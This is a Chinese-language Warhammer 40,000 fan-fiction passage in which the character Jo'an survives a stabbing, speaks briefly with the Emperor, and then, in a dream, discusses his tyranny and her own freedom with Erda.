“未来?未来当然是用尸体铺出来的,你明知道。”她那苍老而锐利的眼神骤冷,“但不能是我的孩子们,我的产物。我不能让他把这些残损的孩子们拼凑成一个巨大的战争机器,驾驶着随时都会失控的它再去点燃整个宇宙,我不能容忍他们像那些科技蛮族军阀用完便弃的改造人武器,我不能看着他们面对这样的命运然后无动于衷。” 话语尚未落尽,琼安只来得及看见一簇微光,在空气中闪现得几乎不真实,仿佛一道折射了傍晚余晖的玻璃裂痕。她的身体却比思维更快地察觉到了异变——一种尖锐、炽热、不可逆转的撕裂感,如同整副神经被生生掀开。 然后,是剧痛。 某种古老的能量刺剑洞穿了琼安的胸口,剑刃投射出异常的磁震波纹,是黑暗时代的科技。她低头,看着锋刃从自己左侧心口贯穿而出,能量波动撕裂神经,视线在剧烈震颤中模糊。 一片混乱中,阿斯塔特抱住她,低声呢喃:“对不起....琼安。” 那一刻,走廊被静默包裹。琼安缓缓滑落,身体冰冷却未发出一声呻吟,世界翻转成一片黑。 她再次醒来,却并没有在医疗室里,而是在另一个房间,那扇窗外看不见泰拉的日升日落,只能看到永恒深空的银色光幕。帝皇坐在她床侧,低头看着她,神情一如既往的平静,黑色的发丝垂落,给他添了几分属于人类的真实感。 “她成功了吗?”琼安声音沙哑。 “没有。”帝皇说。 “你得到你想要的了吗?” “也没有,但是快了。” 琼安挪开视线,发出一阵笑声,然后又转化成剧烈的咳嗽,咳到他不得不把手压在她的胸口上,用灵能缓解她破碎的呼吸。 “你想我怎么做?”勉强恢复过来以后,她悲哀地看着他,“我不是趁手的工具,也无法完美地被你挥动。我累了,被杀死了无数次,心碎了无数次,要背负的东西太多,压的我看不到前面的路。我总被人说年轻,但现在却感觉意识已经衰老,折磨一个坏掉的工具对你一点益处也没有。你究竟想从我这里得到什么?” 帝皇静静地与她对视,那双曾经冷彻如星辰的眼睛,此刻竟泛着些许晦暗不明的光泽。他的面容依旧威严,却因岁月与沉思而添了一丝难以察觉的疲惫。他注视着琼安良久,目光仿佛透过了她,缓缓落入某个遥远的明日。带着一种深藏不露的哀伤,他为千百次失落的希望默哀,却又在这一刻,倔强地托起最后一盏光。 终于,他低声开口,那声音轻得几乎像是一句诗的尾音,却在寂静中震耳欲聋: “未来。” 琼安没再问。镇静药物缓缓注入血管,温暖的黑暗拥抱了她,仿佛再一次回到那头庞大的标本前。万籁俱寂,而大象仍在沉默地行走,草地尚未忘记血的味道。 梦境如雾般降临,她睁开眼,发现自己来到了熟悉的荒原,远方的小屋点起暖黄色的灯,等待这位忽然造访的旅者走上前来,轻轻叩响门扉。 即使在梦中,尔达的藏身处也总是带着陶土与草药的气息。她蜷缩在老旧的织布机旁,手边是尔达塞给她,修补着打发时间的一些陶器。琼安拼凑着,心不在焉地往破损的缺口处涂抹金泥,但也时不时地停下看尔达纺织。梦中的窗外掠过迁徙的灰雁,羽翼划破夜空的寂静,所有美丽的飞鸟在泰拉已绝种许多年,恐怕只有她们这些人还记得泰拉的大地上,曾有盖满羽毛的精灵自在地飞翔,她不由自主地停下工作,看得出神。 “阿斯塔特死了,坎达维尔被流放了。剩下的雷霆战士们也死了,据说有一些没有参与政变的还活着,但我不敢在现在这个时候去联系他们。新的军团很成功,至少他很乐意看到他们如同出笼的猎犬撕碎所有挡路的猎物。”她低声说着,自言自语般地把最近发生的事情总结,“他说他想从我这里得到未来,但我不知道是我可以创造未来,还是我的未来属于他。” “阿斯塔特说她在他身上看见了无数个旧日军阀的影子,我也看见了。事到如今我已看不清什么是真的,一切都像那天我在你所撕裂的现实中窥见的扭曲,被大雨冲刷的掉色,可偏偏只有他最清醒,提着灯逆流而上,带领我们前行。” “即使到了这个时候,你还要替他修补破碎的陶罐?”尔达的织梭刺破细麻布,她举起半幅未完成的挂毯,美丽的花纹间隐约藏着婴儿蜷缩的轮廓,“如果你还对我的选择有所质疑,我只能告诉你,每个原体诞生时都会啼哭,和人类婴孩别无二致。如果你见过他们的眼睛,在尚不知晓命运为何物的时候,那种纯净得几乎让人心悸的眼神....或许你就会明白,我为什么要将他们丢进宇宙里。” 琼安摇了摇头,摩挲着陶器裂痕处的金缮:“可陶罐总要有人修补。” “确实如此,但陶匠不该打碎完整的陶器,只为重新将它拼凑成新的器皿。”尔达说,似是无奈地叹息,“他让你以为那些持续的破碎与重组是自己的选择,实则早把他的安排刻在你的思绪里。就像牧民给头羊系上银铃,让它觉得引领羊群是种荣耀,即使要前行的方是火坑或屠宰场。” 灰雁都飞走了,暮色漫过窗棂,琼安将补好的陶片嵌入缺口:“可是,如果没有牧人,狼群会撕碎所有羔羊。” 尔达轻轻笑了:“亲爱的,最危险的狼正披着牧羊袍呢。”她放下纱线,蘸取修补用的金泥,涂抹在琼安的手背上,“人类的政治永远掺杂血腥,只是我们总以为那闪烁的金泥能掩饰住深层的伤痕。他们用华丽的言辞和虚伪的秩序,来掩饰无尽的暴力与贪婪:你看,这金泥终究会剥落,露出原始的伤痕,人迟早无法逃避他们自身的野性。” “没有领导的混乱会让人恐惧,胜过鲜血带来的秩序....”琼安凝视逐渐凝固的金色泥痕下泛红的皮肤。 “如果你不是心中早已有答案,也不会来到我这里。”尔达说,“你在困惑,长久地困惑。他给你的答案已经不再能够满足你的问题,但你却依然抓着它,尝试相信那就是对的。我曾如你这般,对他的蓝图深信不疑,满脑子拯救人类的浪漫幻想。当他对我谈到自己的计划,并要我一同参与时,我竟可悲地感到荣幸。直到看见第一个原体胚胎被植入杀戮本能,才忽然明白我们都是他战争机器中的齿轮。” “你痛恨这独裁与无数不得不为之恶,但你又恰恰无法否认这理想如此美丽。”说罢,她看向她,“可那真的是你想要的吗?” 夜风卷起沙粒敲打窗扉,琼安想起她曾在泰拉动荡岁月里行过的大地,雷霆烧尽了一切的锁链,被解放的人们终于打心底的庆祝起来,只是重建的金色麦浪下埋着旧日抗命者的灰烬,丰收的欢歌里混着母亲们的恸哭。而他们,脚踏并未平稳的大地,还将要启程前往群星,去带来更多启示。只是在这其间,又要有多少无辜的骸骨化为灰烬? “我不知道,”原本应当被补好的陶罐又裂开,带着满手未干的泥痕,她将头埋进膝盖,在夜幕的降临寒冷中蜷缩,“我不知道该去哪里。世界很大,银河很空旷,但我熟悉的一切无迹可寻。” 布料摩挲的声音响起,尔达在她身旁轻轻蹲下,抚去她满手的痕迹,再将织梭塞进她的掌心:“那就再给自己编织一条新的路。天空那么大,那么辽阔,无数的世界点缀于期间,总有人比谎言更加需要你。” 晨光初现时,琼安带走了一片未烧制的陶片。尔达知道她终究会回到帝皇的窑炉,但此刻的陶坯仍柔软得能捏出指痕,还未彻底定型。她为这在她面前,依然像个孩子的年轻女性留下一条退路,一位她的旧友,孤寂地在人世间游荡了比她,甚至曾名为尼奥斯的野心家更久的岁月。或许他的经历与智慧,和平凡的生活,能为迁徙的小小飞鸟带来安宁。 梦境最后的回音像羽毛一样抚过季琼安的意识,“到泰拉之外去看看吧,琼安,去找新的朋友,认识新的人,”年长的永生者女性发出最后一道叹息, “我的挚友啊,愿你在这长夜中寻到自己的答案,终得自由。”